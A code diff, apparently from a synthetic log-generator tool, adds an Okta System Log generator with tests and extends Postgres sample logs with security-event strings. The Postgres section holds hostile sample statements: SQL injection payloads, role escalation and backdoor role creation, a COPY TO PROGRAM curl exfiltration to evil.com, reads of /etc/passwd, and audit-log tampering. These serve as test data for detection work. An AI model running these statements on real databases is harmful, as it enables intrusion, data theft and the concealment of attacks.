+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148",
+ "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36",
+ "okta-sdk-java/2.0.0 java/17.0.1 Mac_OS_X/14.0",
+ "Okta-Workflows/1.0",
+ }
+
+ cities = []struct {
+ city string
+ state string
+ country string
+ latitude float64
+ longitude float64
+ }{
+ {"San Francisco", "California", "United States", 37.7749, -122.4194},
+ {"New York", "New York", "United States", 40.7128, -74.0060},
+ {"London", "", "United Kingdom", 51.5074, -0.1278},
+ {"Tokyo", "", "Japan", 35.6762, 139.6503},
+ {"Sydney", "New South Wales", "Australia", -33.8688, 151.2093},
+ {"Berlin", "", "Germany", 52.5200, 13.4050},
+ {"Moscow", "", "Russia", 55.7558, 37.6173},
+ {"Beijing", "", "China", 39.9042, 116.4074},
+ }
+
+ reasons = []string{
+ "INVALID_CREDENTIALS",
+ "LOCKED_OUT",
+ "MFA_REQUIRED",
+ "PASSWORD_EXPIRED",
+ "VERIFICATION_FAILED",
+ "NETWORK_ZONE_BLACKLISTED",
+ "DEVICE_NOT_REGISTERED",
+ "SUSPICIOUS_ACTIVITY",
+ }
+)
+
+// New creates a new Okta log generator
+func New(logger *zap.Logger, workers int, rate time.Duration) (*Generator, error) {
+ if logger == nil {
+ return nil, fmt.Errorf("logger cannot be nil")
+ }
+
+ if workers < 1 {
+ return nil, fmt.Errorf("workers must be 1 or greater, got %d", workers)
+ }
+
+ meter := otel.Meter(meterName)
+
+ oktaLogsGenerated, err := meter.Int64Counter(
+ metricLogsGenerated,
+ metric.WithDescription("Total number of logs generated"),
+ )
+ if err != nil {
+ return nil, fmt.Errorf("create logs generated counter: %w", err)
+ }
+
+ oktaActiveWorkers, err := meter.Int64Gauge(
+ metricWorkersActive,
+ metric.WithDescription("Number of active worker goroutines"),
+ )
+ if err != nil {
+ return nil, fmt.Errorf("create active workers gauge: %w", err)
+ }
+
+ oktaWriteErrors, err := meter.Int64Counter(
+ metricWriteErrors,
+ metric.WithDescription("Total number of write errors"),
+ )
+ if err != nil {
+ return nil, fmt.Errorf("create write errors counter: %w", err)
+ }
+
+ return &Generator{
+ logger: logger,
+ workers: workers,
+ rate: rate,
+ stopCh: make(chan struct{}),
+ meter: meter,
+ oktaLogsGenerated: oktaLogsGenerated,
+ oktaActiveWorkers: oktaActiveWorkers,
+ oktaWriteErrors: oktaWriteErrors,
+ }, nil
+}
+
+// Start starts the Okta log generator
+func (g *Generator) Start(writer output.Writer) error {
+ g.logger.Info("Starting Okta log generator",
+ zap.Int("workers", g.workers),
+ zap.Duration("rate", g.rate),
+ )
+
+ for i := 0; i < g.workers; i++ {
+ g.wg.Add(1)
+ go g.worker(i, writer)
+ }
+
+ return nil
+}
+
+// Stop stops the Okta log generator
+func (g *Generator) Stop(ctx context.Context) error {
+ g.logger.Info("Stopping Okta log generator")
+
+ close(g.stopCh)
+
+ done := make(chan struct{})
+ go func() {
+ g.wg.Wait()
+ close(done)
+ }()
+
+ select {
+ case <-done:
+ g.logger.Info("Okta log generator stopped")
+ return nil
+ case <-ctx.Done():
+ return ctx.Err()
+ }
+}
+
+func (g *Generator) worker(workerID int, writer output.Writer) {
+ defer g.wg.Done()
+
+ r := rand.New(rand.NewSource(time.Now().UnixNano() + int64(workerID))) // #nosec G404
+
+ g.oktaActiveWorkers.Record(context.Background(), 1,
+ metric.WithAttributeSet(
+ attribute.NewSet(
+ attribute.String("component", componentName),
+ attribute.Int("worker_id", workerID),
+ ),
+ ),
+ )
+ defer g.oktaActiveWorkers.Record(context.Background(), 0,
+ metric.WithAttributeSet(
+ attribute.NewSet(
+ attribute.String("component", componentName),
+ attribute.Int("worker_id", workerID),
+ ),
+ ),
+ )
+
+ backoffConfig := backoff.NewExponentialBackOff()
+ backoffConfig.InitialInterval = g.rate
+ backoffConfig.MaxInterval = 5 * time.Second
+ backoffConfig.MaxElapsedTime = 0
+
+ backoffTicker := backoff.NewTicker(backoffConfig)
+ defer backoffTicker.Stop()
+
+ for {
+ select {
+ case <-g.stopCh:
+ g.logger.Debug("Worker stopping", zap.Int("worker_id", workerID))
+ return
+ case <-backoffTicker.C:
+ err := g.generateAndWriteLog(r, writer, workerID)
+ if err != nil {
+ g.logger.Error("Failed to write log",
+ zap.Int("worker_id", workerID),
+ zap.Error(err))
+ continue
+ }
+ backoffConfig.Reset()
+ }
+ }
+}
+
+func (g *Generator) generateAndWriteLog(r *rand.Rand, writer output.Writer, workerID int) error {
+ logRecord, err := g.generateOktaLog(r)
+ if err != nil {
+ g.recordWriteError(errorTypeUnknown, err)
+ return fmt.Errorf("generate Okta log: %w", err)
+ }
+
+ g.oktaLogsGenerated.Add(context.Background(), 1,
+ metric.WithAttributeSet(
+ attribute.NewSet(
+ attribute.String("component", componentName),
+ ),
+ ),
+ )
+
+ ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+
+ if err := writer.Write(ctx, logRecord); err != nil {
+ errorType := errorTypeUnknown
+ if ctx.Err() == context.DeadlineExceeded {
+ errorType = errorTypeTimeout
+ }
+ g.recordWriteError(errorType, err)
+ return err
+ }
+
+ return nil
+}
+
+func (g *Generator) generateOktaLog(r *rand.Rand) (output.LogRecord, error) {
+ now := time.Now().UTC()
+ event := eventTypes[r.Intn(len(eventTypes))] // #nosec G404
+ actor := actors[r.Intn(len(actors))] // #nosec G404
+ app := applications[r.Intn(len(applications))] // #nosec G404
+ location := cities[r.Intn(len(cities))] // #nosec G404
+ userAgent := userAgents[r.Intn(len(userAgents))] // #nosec G404
+
+ // Generate UUIDs
+ uuid := generateUUID(r)
+ actorID := generateUUID(r)
+ sessionID := generateUUID(r)
+ requestID := generateRequestID(r)
+
+ // Build the Okta System Log event
+ logData := map[string]any{
+ "uuid": uuid,
+ "published": now.Format(time.RFC3339Nano),
+ "eventType": event.eventType,
+ "version": "0",
+ "severity": event.severity,
+ "displayMessage": event.displayMsg,
+ "actor": map[string]any{
+ "id": actorID,
+ "type": actor.userType,
+ "alternateId": actor.login,
+ "displayName": actor.displayName,
+ },
+ "client": map[string]any{
+ "userAgent": map[string]any{
+ "rawUserAgent": userAgent,
+ "os": "Unknown",
+ "browser": "UNKNOWN",
+ },
+ "zone": "null",
+ "device": "Unknown",
+ "ipAddress": generateRandomIP(r),
+ "geographicalContext": map[string]any{
+ "city": location.city,
+ "state": location.state,
+ "country": location.country,
+ "postalCode": fmt.Sprintf("%05d", r.Intn(99999)), // #nosec G404
+ "geolocation": map[string]any{
+ "lat": location.latitude,
+ "lon": location.longitude,
+ },
+ },
+ },
+ "outcome": map[string]any{
+ "result": event.outcome,
+ },
+ "target": []map[string]any{
+ {
+ "id": generateUUID(r),
+ "type": "AppInstance",
+ "alternateId": app.name,
+ "displayName": app.label,
+ },
+ },
+ "transaction": map[string]any{
+ "type": "WEB",
+ "id": requestID,
+ "detail": map[string]any{},
+ },
+ "debugContext": map[string]any{
+ "debugData": map[string]any{
+ "requestId": requestID,
+ "requestUri": "/api/v1/authn",
+ "threatSuspected": fmt.Sprintf("%t", event.severity == "ERROR" || event.severity == "WARN"),
+ "url": fmt.Sprintf("/api/v1/authn?%s", requestID),
+ },
+ },
+ "authenticationContext": map[string]any{
+ "authenticationProvider": "OKTA_AUTHENTICATION_PROVIDER",
+ "credentialProvider": "OKTA_CREDENTIAL_PROVIDER",
+ "credentialType": "PASSWORD",
+ "externalSessionId": sessionID,
+ "interface": "Okta End-User Dashboard",
+ },
+ "securityContext": map[string]any{
+ "asNumber": r.Intn(65535), // #nosec G404
+ "asOrg": "example-isp",
+ "isp": "Example ISP",
+ "domain": "example.com",
+ "isProxy": r.Float64() < 0.1, // #nosec G404
+ },
+ "legacyEventType": event.eventType,
+ }
+
+ // Add reason for failures
+ if event.outcome == "FAILURE" {
+ logData["outcome"].(map[string]any)["reason"] = reasons[r.Intn(len(reasons))] // #nosec G404
+ }
+
+ jsonBytes, err := jsonlib.Marshal(logData)
+ if err != nil {
+ return output.LogRecord{}, fmt.Errorf("marshal Okta log: %w", err)
+ }
+
+ return output.LogRecord{
+ Message: string(jsonBytes),
+ ParseFunc: func(message string) (map[string]any, error) {
+ var parsed map[string]any
+ if err := jsonlib.Unmarshal([]byte(message), &parsed); err != nil {
+ return nil, fmt.Errorf("unmarshal Okta log: %w", err)
+ }
+ return parsed, nil
+ },
+ Metadata: output.LogRecordMetadata{
+ Timestamp: now,
+ Severity: event.severity,
+ },
+ }, nil
+}
+
+func generateUUID(r *rand.Rand) string {
+ return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
+ r.Uint32(), // #nosec G404
+ r.Uint32()&0xFFFF, // #nosec G404
+ r.Uint32()&0xFFFF, // #nosec G404
+ r.Uint32()&0xFFFF, // #nosec G404
+ r.Uint64()&0xFFFFFFFFFFFF) // #nosec G404
+}
+
+func generateRequestID(r *rand.Rand) string {
+ const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+ b := make([]byte, 20)
+ for i := range b {
+ b[i] = charset[r.Intn(len(charset))] // #nosec G404
+ }
+ return string(b)
+}
+
+func generateRandomIP(r *rand.Rand) string {
+ return fmt.Sprintf("%d.%d.%d.%d",
+ r.Intn(256), // #nosec G404
+ r.Intn(256), // #nosec G404
+ r.Intn(256), // #nosec G404
+ r.Intn(256)) // #nosec G404
+}
+
+func (g *Generator) recordWriteError(errorType string, err error) {
+ g.oktaWriteErrors.Add(context.Background(), 1,
+ metric.WithAttributeSet(
+ attribute.NewSet(
+ attribute.String("component", componentName),
+ attribute.String("error_type", errorType),
+ ),
+ ),
+ )
+ g.logger.Debug("Recorded write error",
+ zap.String("error_type", errorType),
+ zap.Error(err),
+ )
+}
diff --git a/generator/okta/okta_test.go b/generator/okta/okta_test.go
new file mode 100644
index 0000000..99e4dde
--- /dev/null
+++ b/generator/okta/okta_test.go
@@ -0,0 +1,349 @@
+package okta
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "math/rand"
+ "sync"
+ "testing"
+ "time"
+
+ "github.com/observiq/blitz/output"
+ "github.com/stretchr/testify/assert"
+ "github.com/stretchr/testify/require"
+ "go.uber.org/zap/zaptest"
+)
+
+// mockWriter implements output.Writer for testing
+type mockWriter struct {
+ mu sync.Mutex
+ writes [][]byte
+ errors []error
+ writeErr error
+}
+
+func newMockWriter() *mockWriter {
+ return &mockWriter{
+ writes: make([][]byte, 0),
+ errors: make([]error, 0),
+ }
+}
+
+func (m *mockWriter) Write(ctx context.Context, data output.LogRecord) error {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+
+ if m.writeErr != nil {
+ err := m.writeErr
+ m.errors = append(m.errors, err)
+ return err
+ }
+
+ m.writes = append(m.writes, append([]byte(nil), data.Message...))
+ return nil
+}
+
+func (m *mockWriter) getWrites() [][]byte {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ return append([][]byte(nil), m.writes...)
+}
+
+func (m *mockWriter) getErrors() []error {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ return append([]error(nil), m.errors...)
+}
+
+func (m *mockWriter) setWriteError(err error) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ m.writeErr = err
+}
+
+func TestNew(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ workers := 5
+ rate := 100 * time.Millisecond
+
+ generator, err := New(logger, workers, rate)
+
+ assert.NoError(t, err)
+ assert.NotNil(t, generator)
+ assert.Equal(t, logger, generator.logger)
+ assert.Equal(t, workers, generator.workers)
+ assert.Equal(t, rate, generator.rate)
+ assert.NotNil(t, generator.stopCh)
+}
+
+func TestNew_NilLogger(t *testing.T) {
+ generator, err := New(nil, 5, 100*time.Millisecond)
+
+ assert.Error(t, err)
+ assert.Nil(t, generator)
+ assert.Contains(t, err.Error(), "logger cannot be nil")
+}
+
+func TestNew_InvalidWorkers(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+
+ generator, err := New(logger, 0, 100*time.Millisecond)
+ assert.Error(t, err)
+ assert.Nil(t, generator)
+ assert.Contains(t, err.Error(), "workers must be 1 or greater")
+
+ generator, err = New(logger, -1, 100*time.Millisecond)
+ assert.Error(t, err)
+ assert.Nil(t, generator)
+ assert.Contains(t, err.Error(), "workers must be 1 or greater")
+}
+
+func TestOktaGenerator_Start(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+ generator, err := New(logger, 2, 50*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ assert.NoError(t, err)
+
+ // Wait for some logs to be generated
+ time.Sleep(200 * time.Millisecond)
+
+ // Stop the generator
+ ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ err = generator.Stop(ctx)
+ assert.NoError(t, err)
+
+ // Verify logs were written
+ writes := writer.getWrites()
+ assert.Greater(t, len(writes), 0, "Expected some logs to be written")
+
+ // Verify log structure - each log should be valid JSON with Okta fields
+ for _, write := range writes {
+ var log map[string]any
+ err := json.Unmarshal(write, &log)
+ assert.NoError(t, err, "Log should be valid JSON")
+
+ // Verify required Okta System Log fields
+ assert.Contains(t, log, "uuid", "Should have uuid field")
+ assert.Contains(t, log, "published", "Should have published field")
+ assert.Contains(t, log, "eventType", "Should have eventType field")
+ assert.Contains(t, log, "severity", "Should have severity field")
+ assert.Contains(t, log, "displayMessage", "Should have displayMessage field")
+ assert.Contains(t, log, "actor", "Should have actor field")
+ assert.Contains(t, log, "client", "Should have client field")
+ assert.Contains(t, log, "outcome", "Should have outcome field")
+ assert.Contains(t, log, "target", "Should have target field")
+
+ // Verify displayMessage is a string (not a nested object)
+ _, ok := log["displayMessage"].(string)
+ assert.True(t, ok, "displayMessage should be a string")
+ }
+}
+
+func TestOktaGenerator_Stop_GracefulShutdown(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+ generator, err := New(logger, 3, 10*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ require.NoError(t, err)
+
+ time.Sleep(50 * time.Millisecond)
+
+ ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+ defer cancel()
+
+ start := time.Now()
+ err = generator.Stop(ctx)
+ duration := time.Since(start)
+
+ assert.NoError(t, err)
+ assert.Less(t, duration, 500*time.Millisecond, "Stop should complete quickly")
+
+ writes := writer.getWrites()
+ assert.Greater(t, len(writes), 0, "Expected some logs to be written before stopping")
+}
+
+func TestOktaGenerator_WriteErrors_Backoff(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+ writer.setWriteError(errors.New("write failed"))
+ generator, err := New(logger, 1, 10*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ require.NoError(t, err)
+
+ time.Sleep(200 * time.Millisecond)
+
+ ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+ defer cancel()
+ err = generator.Stop(ctx)
+ assert.NoError(t, err)
+
+ errs := writer.getErrors()
+ assert.Greater(t, len(errs), 0, "Expected some write errors")
+}
+
+func TestOktaGenerator_ConcurrentWorkers(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+ generator, err := New(logger, 5, 20*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ require.NoError(t, err)
+
+ time.Sleep(200 * time.Millisecond)
+
+ ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
+ defer cancel()
+ err = generator.Stop(ctx)
+ assert.NoError(t, err)
+
+ writes := writer.getWrites()
+ assert.Greater(t, len(writes), 10, "Expected many logs from multiple workers")
+}
+
+func TestOktaGenerator_EventTypeVariety(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+ generator, err := New(logger, 1, 5*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ require.NoError(t, err)
+
+ time.Sleep(200 * time.Millisecond)
+
+ ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+ defer cancel()
+ err = generator.Stop(ctx)
+ assert.NoError(t, err)
+
+ writes := writer.getWrites()
+ assert.Greater(t, len(writes), 10, "Expected many logs")
+
+ eventTypeSet := make(map[string]int)
+ severitySet := make(map[string]int)
+
+ for _, write := range writes {
+ var log map[string]any
+ err := json.Unmarshal(write, &log)
+ require.NoError(t, err)
+
+ if et, ok := log["eventType"].(string); ok {
+ eventTypeSet[et]++
+ }
+ if sev, ok := log["severity"].(string); ok {
+ severitySet[sev]++
+ }
+ }
+
+ assert.Greater(t, len(eventTypeSet), 1, "Expected variety in event types")
+ assert.Greater(t, len(severitySet), 1, "Expected variety in severity levels")
+}
+
+func TestOktaGenerator_FailureOutcomeHasReason(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ r := rand.New(rand.NewSource(42)) // #nosec G404
+
+ generator, err := New(logger, 1, time.Second)
+ require.NoError(t, err)
+
+ // Generate enough logs to get some failures
+ for i := 0; i < 200; i++ {
+ logRecord, err := generator.generateOktaLog(r)
+ require.NoError(t, err)
+
+ var log map[string]any
+ err = json.Unmarshal([]byte(logRecord.Message), &log)
+ require.NoError(t, err)
+
+ outcome, ok := log["outcome"].(map[string]any)
+ require.True(t, ok)
+
+ result, ok := outcome["result"].(string)
+ require.True(t, ok)
+
+ if result == "FAILURE" {
+ _, hasReason := outcome["reason"]
+ assert.True(t, hasReason, "FAILURE outcomes should have a reason field")
+ }
+ }
+}
+
+func TestOktaGenerator_MultipleStartStop(t *testing.T) {
+ logger := zaptest.NewLogger(t)
+ writer := newMockWriter()
+
+ for i := 0; i < 3; i++ {
+ generator, err := New(logger, 2, 20*time.Millisecond)
+ require.NoError(t, err)
+
+ err = generator.Start(writer)
+ assert.NoError(t, err)
+
+ time.Sleep(50 * time.Millisecond)
+
+ ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+ err = generator.Stop(ctx)
+ cancel()
+ assert.NoError(t, err)
+ }
+
+ writes := writer.getWrites()
+ assert.Greater(t, len(writes), 0, "Expected logs from multiple start/stop cycles")
+}
+
+func TestGenerateUUID(t *testing.T) {
+ r := rand.New(rand.NewSource(42)) // #nosec G404
+
+ uuid := generateUUID(r)
+ assert.NotEmpty(t, uuid)
+
+ // UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
+ parts := make([]string, 0)
+ for _, p := range splitUUID(uuid) {
+ parts = append(parts, p)
+ }
+ assert.Len(t, parts, 5, "UUID should have 5 dash-separated parts")
+}
+
+func splitUUID(uuid string) []string {
+ var parts []string
+ current := ""
+ for _, c := range uuid {
+ if c == '-' {
+ parts = append(parts, current)
+ current = ""
+ } else {
+ current += string(c)
+ }
+ }
+ if current != "" {
+ parts = append(parts, current)
+ }
+ return parts
+}
+
+func TestGenerateRandomIP(t *testing.T) {
+ r := rand.New(rand.NewSource(42)) // #nosec G404
+
+ ip := generateRandomIP(r)
+ assert.NotEmpty(t, ip)
+ assert.Regexp(t, `^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$`, ip)
+}
+
+func TestGenerateRequestID(t *testing.T) {
+ r := rand.New(rand.NewSource(42)) // #nosec G404
+
+ id := generateRequestID(r)
+ assert.Len(t, id, 20)
+ assert.Regexp(t, `^[A-Za-z0-9]+$`, id)
+}
diff --git a/generator/postgres/postgres.go b/generator/postgres/postgres.go
index 7d33f27..299acd7 100644
--- a/generator/postgres/postgres.go
+++ b/generator/postgres/postgres.go
@@ -112,6 +112,7 @@ var (
severity string
message string
}{
+ // Normal operations
{severityLog, "statement: SELECT * FROM users WHERE id = $1"},
{severityLog, "statement: INSERT INTO orders (user_id, total) VALUES ($1, $2)"},
{severityLog, "statement: UPDATE products SET stock = stock - $1 WHERE id = $2"},
@@ -147,6 +148,62 @@ var (
{severityInfo, "autovacuum launcher shutting down"},
{severityDebug, "checkpoint record is at 0/12345678"},
{severityDebug, "redo record is at 0/12345678; undo record is at 0/0; shutdown TRUE"},
+
+ // Security: Authentication failures (brute force patterns)
+ {severityFatal, "password authentication failed for user \"admin\""},
+ {severityFatal, "password authentication failed for user \"root\""},
+ {severityFatal, "password authentication failed for user \"postgres\""},
+ {severityFatal, "password authentication failed for user \"sa\""},
+ {severityFatal, "no pg_hba.conf entry for host \"10.0.0.50\", user \"admin\", database \"production\""},
+ {severityFatal, "too many connections for role \"app_user\""},
+ {severityWarning, "connection rejected: too many connections for database \"production\""},
+ {severityError, "authentication failed for user \"backup_admin\": invalid credentials"},
+
+ // Security: SQL injection attempts
+ {severityError, "syntax error at or near \"'\" at character 42"},
+ {severityLog, "statement: SELECT * FROM users WHERE username = '' OR '1'='1'"},
+ {severityLog, "statement: SELECT * FROM users WHERE id = 1; DROP TABLE users;--"},
+ {severityLog, "statement: SELECT * FROM accounts WHERE id = 1 UNION SELECT password FROM credentials"},
+ {severityLog, "statement: SELECT * FROM products WHERE name = ''; WAITFOR DELAY '00:00:10'--"},
+ {severityLog, "statement: SELECT password FROM users WHERE username = 'admin'--"},
+ {severityLog, "statement: INSERT INTO users VALUES (1, 'hacker', (SELECT password FROM users WHERE username='admin'))"},
+ {severityWarning, "statement execution time exceeded threshold: 30000 ms"},
+
+ // Security: Privilege escalation attempts
+ {severityError, "permission denied to create role"},
+ {severityError, "must be superuser to alter superuser roles or change superuser attribute"},
+ {severityLog, "statement: ALTER ROLE app_user WITH SUPERUSER"},
+ {severityLog, "statement: ALTER ROLE readonly_user WITH CREATEROLE CREATEDB"},
+ {severityLog, "statement: GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO attacker"},
+ {severityLog, "statement: CREATE ROLE backdoor_admin WITH SUPERUSER LOGIN PASSWORD 'hacked123'"},
+ {severityError, "permission denied for schema pg_catalog"},
+ {severityFatal, "role \"app_user\" is not permitted to log in"},
+
+ // Security: Data exfiltration patterns
+ {severityLog, "statement: COPY (SELECT * FROM customers) TO '/tmp/customers_dump.csv'"},
+ {severityLog, "statement: COPY users TO PROGRAM 'curl -X POST -d @- http://evil.com/exfil'"},
+ {severityLog, "statement: SELECT * FROM credit_cards"},
+ {severityLog, "statement: SELECT ssn, dob, full_name FROM pii_data"},
+ {severityLog, "statement: pg_dump --table=passwords --data-only production"},
+ {severityWarning, "large data transfer detected: 50000 rows returned"},
+ {severityLog, "statement: SELECT pg_read_file('/etc/passwd')"},
+ {severityLog, "statement: SELECT lo_export(12345, '/tmp/secret.txt')"},
+
+ // Security: Suspicious administrative actions
+ {severityLog, "statement: DROP DATABASE production"},
+ {severityLog, "statement: TRUNCATE TABLE audit_logs"},
+ {severityLog, "statement: DELETE FROM security_events WHERE created_at < NOW()"},
+ {severityLog, "statement: ALTER TABLE audit_logs DISABLE TRIGGER ALL"},
+ {severityWarning, "parameter \"log_statement\" changed to \"none\""},
+ {severityWarning, "parameter \"log_connections\" changed to \"off\""},
+ {severityLog, "statement: UPDATE pg_authid SET rolpassword = 'md5' || md5('newpass' || 'postgres')"},
+
+ // Security: Anomalous access patterns
+ {severityWarning, "connection from unusual IP range: 185.220.101.0/24 (known Tor exit node)"},
+ {severityWarning, "off-hours database access detected from user \"admin\" at 03:24:15 UTC"},
+ {severityLog, "connection received: host=192.168.1.100 port=54321 (outside normal subnet)"},
+ {severityError, "SSL connection required but client connected without SSL"},
+ {severityWarning, "multiple databases accessed in single session: production, staging, backup"},
}
)
diff --git a/internal/config/generator.go b/internal/config/generator.go
index bbb5854..c37390c 100644
--- a/internal/config/generator.go
+++ b/internal/config/generator.go
@@ -30,6 +30,8 @@ const (
GeneratorTypeKubernetes GeneratorType = "kubernetes"
// GeneratorTypeFile represents File generator
GeneratorTypeFile GeneratorType = "filegen"
+ // GeneratorTypeOkta represents Okta System Log generator
+ GeneratorTypeOkta GeneratorType = "okta"
)
// Generator contains configuration for log generators
@@ -56,6 +58,8 @@ type Generator struct {
Kubernetes KubernetesGeneratorConfig `yaml:"kubernetes,omitempty" mapstructure:"kubernetes,omitempty"`
// Filegen contains File generator configuration
Filegen FileGeneratorConfig `yaml:"filegen,omitempty" mapstructure:"filegen,omitempty"`
+ // Okta contains Okta System Log generator configuration
+ Okta OktaGeneratorConfig `yaml:"okta,omitempty" mapstructure:"okta,omitempty"`
}
// Validate validates the generator configuration
@@ -108,8 +112,12 @@ func (g *Generator) Validate() error {
if err := g.Filegen.Validate(); err != nil {
return fmt.Errorf("filegen generator validation failed: %w", err)
}
+ case GeneratorTypeOkta:
+ if err := g.Okta.Validate(); err != nil {
+ return fmt.Errorf("okta generator validation failed: %w", err)
+ }
default:
- return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen", g.Type)
+ return fmt.Errorf("invalid generator type: %s, must be one of: nop, json, winevt, palo-alto, apache-common, apache-combined, apache-error, nginx, postgres, kubernetes, filegen, okta", g.Type)
}
return nil
diff --git a/internal/config/generator_okta.go b/internal/config/generator_okta.go
new file mode 100644
index 0000000..bcfceb0
--- /dev/null
+++ b/internal/config/generator_okta.go
@@ -0,0 +1,27 @@
+package config
+
+import (
+ "fmt"
+ "time"
+)
+
+// OktaGeneratorConfig contains configuration for Okta System Log generator
+type OktaGeneratorConfig struct {
+ // Workers is the number of worker goroutines for Okta log generation
+ Workers int `yaml:"workers,omitempty" mapstructure:"workers,omitempty"`
+ // Rate is the rate at which logs are generated per worker
+ Rate time.Duration `yaml:"rate,omitempty" mapstructure:"rate,omitempty"`
+}
+
+// Validate validates the Okta generator configuration
+func (c *OktaGeneratorConfig) Validate() error {
+ if c.Workers < 1 {
+ return fmt.Errorf("Okta generator workers must be 1 or greater, got %d", c.Workers)
+ }
+
+ if c.Rate <= 0 {
+ return fmt.Errorf("Okta generator rate must be positive, got %v", c.Rate)
+ }
+
+ return nil
+}
diff --git a/internal/config/override.go b/internal/config/override.go
index 1e448df..a0ce529 100644
--- a/internal/config/override.go
+++ b/internal/config/override.go
@@ -247,7 +247,7 @@ func DefaultOverrides() []*Override {
NewOverride("logging.file.rotation.compress", "logging file rotation: compress rotated files", true),
NewOverride("logging.file.rotation.localTime", "logging file rotation: use local time for backup timestamps", false),
NewOverride("metrics.port", "HTTP port for the metrics endpoint", DefaultMetricsPort),
- NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-combined|apache-combined|apache-error|nginx|postgres|kubernetes|filegen", GeneratorTypeNop),
+ NewOverride("generator.type", "generator type. One of: nop|json|winevt|palo-alto|apache-common|apache-combined|apache-error|nginx|postgres|kubernetes|filegen|okta", GeneratorTypeNop),
NewOverride("generator.json.workers", "number of JSON generator workers", 1),
NewOverride("generator.json.rate", "rate at which logs are generated per worker", 1*time.Second),
NewOverride("generator.json.type", "type of log to generate. One of: default|pii", logtypes.LogTypeDefault),
@@ -273,6 +273,8 @@ func DefaultOverrides() []*Override {
NewOverride("generator.filegen.source", "file path, directory path, or glob pattern (auto-detected)", ""),
NewOverride("generator.filegen.cache-enabled", "enable in-memory file caching", true),
NewOverride("generator.filegen.cache-ttl", "file cache time-to-live (0 = never expire)", time.Duration(0)),
+ NewOverride("generator.okta.workers", "number of Okta generator workers", 1),
+ NewOverride("generator.okta.rate", "rate at which Okta logs are generated per worker", 1*time.Second),
NewOverride("output.type", "output type. One of: nop|stdout|tcp|udp|syslog|otlp-grpc|file", OutputTypeNop),
NewOverride("output.udp.host", "UDP output target host", ""),
NewOverride("output.udp.port", "UDP output target port", 0),
diff --git a/internal/config/override_test.go b/internal/config/override_test.go
index 83c7869..0aca4cd 100644
--- a/internal/config/override_test.go
+++ b/internal/config/override_test.go
@@ -49,6 +49,8 @@ func getTestOverrideFlagsArgs() []string {
"--generator-filegen-source", "/var/log",
"--generator-filegen-cache-enabled=false",
"--generator-filegen-cache-ttl", "0",
+ "--generator-okta-workers", "22",
+ "--generator-okta-rate", "40ms",
"--output-type", "otlp-grpc",
"--output-udp-host", "udp.example.com",
"--output-udp-port", "1514",
@@ -141,6 +143,8 @@ func getTestOverrideEnvs() map[string]string {
"BLITZ_GENERATOR_FILEGEN_SOURCE": "syslog_generic",
"BLITZ_GENERATOR_FILEGEN_CACHE_ENABLED": "false",
"BLITZ_GENERATOR_FILEGEN_CACHE_TTL": "0",
+ "BLITZ_GENERATOR_OKTA_WORKERS": "23",
+ "BLITZ_GENERATOR_OKTA_RATE": "35ms",
"BLITZ_OUTPUT_TYPE": "file",
"BLITZ_OUTPUT_UDP_HOST": "udp.env.example",
"BLITZ_OUTPUT_UDP_PORT": "5514",
@@ -273,6 +277,10 @@ func TestOverrideDefaults(t *testing.T) {
CacheEnabled: true,
CacheTTL: 0,
},
+ Okta: OktaGeneratorConfig{
+ Workers: 1,
+ Rate: 1 * time.Second,
+ },
},
Output: Output{
Type: OutputTypeNop,
@@ -426,6 +434,10 @@ func TestOverrideFlags(t *testing.T) {
CacheEnabled: false,
CacheTTL: 0,
},
+ Okta: OktaGeneratorConfig{
+ Workers: 22,
+ Rate: 40 * time.Millisecond,
+ },
},
Output: Output{
Type: OutputTypeOTLPGrpc,
@@ -582,6 +594,10 @@ func TestOverrideEnvs(t *testing.T) {
CacheEnabled: false,
CacheTTL: 0,
},
+ Okta: OktaGeneratorConfig{
+ Workers: 23,
+ Rate: 35 * time.Millisecond,
+ },
},
Output: Output{
Type: OutputTypeFile,
